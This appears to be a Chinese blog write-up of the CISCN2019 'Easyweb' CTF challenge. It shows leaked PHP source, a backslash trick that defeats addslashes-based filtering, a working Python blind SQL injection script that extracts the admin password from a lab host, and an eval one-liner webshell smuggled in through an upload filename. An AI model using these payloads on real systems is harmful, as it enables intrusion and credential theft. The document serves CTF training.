[CISCN2019 总决赛 Day2 Web1]Easyweb

源码泄露:

常规访问一下robots.txt。发现有提示bak备份文件,但没有明确是哪一个文件。这里我按照常规做法尝试index.php.bak没成功,然后一直在哪乱试,脑子wat了居然没去看网页源码,还是太菜了。其实图片就来自于image.php,自然是该文件了…访问image.php.bak下载到源码



分析源码
//config.php
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
                                                            
$result=mysqli_query($con,"select * from images where id='{$id}' or path='       {$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

将id、path参数进行预定义字符转义,然后再将转义后的字符进行过滤替换,替换为空,然后才放到SQL语句中查询。

值得注意是替换为空这个操作可谓”事故多发地“,处理不好就经常能被利用

这题有两个参数,又有转义,又不是GBK编码,其实就是利用转义字符转义语句中的单引号,而达到吞掉单引号的目的

\\0指的是\0,第一个反斜杠是转义第二个反斜杠
还要注意的是\0是不会被addslashes()转义的,因为这个反斜杠只是转义功能,而不是”真正的字符“

构造出\\0,被addslashes()处理后增加一个反斜杠还是\\0,然后被替换为空后变为\


SQL盲注
image.php?id=\\0&path= or id=1是一張圖片
image.php?id=\\0&path= or id=2又是另外一張圖
import requests
import time
url='http://d2abd231-3ca0-41b2-a251-3c06ce9669f3.node3.buuoj.cn/image.php?id=\\0&path= or id='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        mid=min+(max-min)//2
        if min==mid:
            flag+=chr(mid)
            print(flag)
            if chr(mid)=='}':
                exit()
            break

        #payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)%23".format(i,mid)
        #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))<{},1,0)%23".format(i,mid)
        payload="if(ascii(substr((select(group_concat(password))from(users)),{},1))<{},1,0)%23".format(i,mid)
        print(payload)

        r=requests.get(url=url+payload).text
        #print(r)
        if '�' in r:
            max=mid
        else:
            min=mid
        time.sleep(0.3)
    time.sleep(0.3)

得到密码:f0a9941d4c6d8bfbb7fe 账号:admin



文件上传——短标签

登录后是一个上传文件的页面,上传后提示将文件名记录在一个php文件中。可以猜到文件名是我们利用的点,往文件名写一句话。PHP会被过滤,直接短标签就可以了

<?=eval($_POST[1])?>

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值